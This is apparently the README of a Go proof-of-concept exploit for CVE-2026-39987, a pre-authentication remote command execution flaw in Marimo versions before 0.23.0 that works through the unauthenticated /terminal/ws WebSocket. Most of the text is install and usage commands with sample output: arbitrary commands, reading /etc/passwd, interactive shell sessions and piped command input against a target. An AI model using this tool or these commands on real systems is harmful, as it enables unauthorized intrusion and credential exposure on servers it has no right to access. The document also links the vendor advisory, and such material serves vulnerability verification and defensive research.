
يستغل ثغرة CVE-2026-39987 لتنفيذ أوامر عن بُعد (RCE) قبل المصادقة في Marimo <0.23.0 عبر الاتصال بـ WebSocket غير المُصادَق /terminal/ws. يدعم تنفيذ الأوامر التعسفية، والإدخال عبر الأنابيب، وجلسات شل التفاعلية.
أنا فقط أجرّب Go :D بالمناسبة: CVE-2026-39987 PoC: Marimo<0.23.0 تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة عبر تجاوز مصادقة WebSocket الطرفية (لا يوجد فحص authn على /terminal/ws).
الموارد:
go install -v github.com/matesz44/cve-2026-39987/cmd/cve-2026-39987@latest
cve-2026-39987 -h
سيؤدي هذا إلى عرض مساعدة الأداة. فيما يلي جميع الخيارات التي تدعمها.
CVE-2026-39987 PoC: Marimo<0.23.0 Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass
- Source: https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
Usage:
./cve-2026-39987 [flags]
Flags:
-t, -target string Target WebSocket URL (required, e.g., ws(s)://[TARGET]:([PORT])/terminal/ws)
-c, -cmd string Command to Run (default "uname -a")
-i, -interactive Interactive Mode
الأمر الافتراضي (uname -a):
cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws
REDACTED@REDACTED:~$ uname -a
Linux [...]
REDACTED@REDACTED:~$ exit
exit
[INF:normalclose] websocket: close 1000 (normal): Terminal session ended
أمر مخصص (-c):
cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws -c "cat /etc/passwd"
REDACTED@REDACTED:~$ cat /etc/passwd
exit
root:x:0:0: [...]
REDACTED@REDACTED:~$ exit
exit
[INF:normalclose] websocket: close 1000 (normal): Terminal session ended
الوضع التفاعلي (-i):
cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws -i
REDACTED@REDACTED:~$ id
id
uid=1000(REDACTED) gid=1000(REDACTED) groups=1000(REDACTED)
REDACTED@REDACTED:~$ whoami
whoami
REDACTED
REDACTED@REDACTED:~$ exit
exit
exit
[INF:normalclose] websocket: close 1000 (normal): Terminal session ended
التوصيل عبر الأنابيب:
printf "id\nwhoami" | cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws
REDACTED@REDACTED:~$ id
whoami
exit
uid=1000(REDACTED) gid=1000(REDACTED) groups=1000(REDACTED)
REDACTED@REDACTED:~$ whoami
REDACTED
REDACTED@REDACTED:~$ exit
exit
[INF:normalclose] websocket: close 1000 (normal): Terminal session ended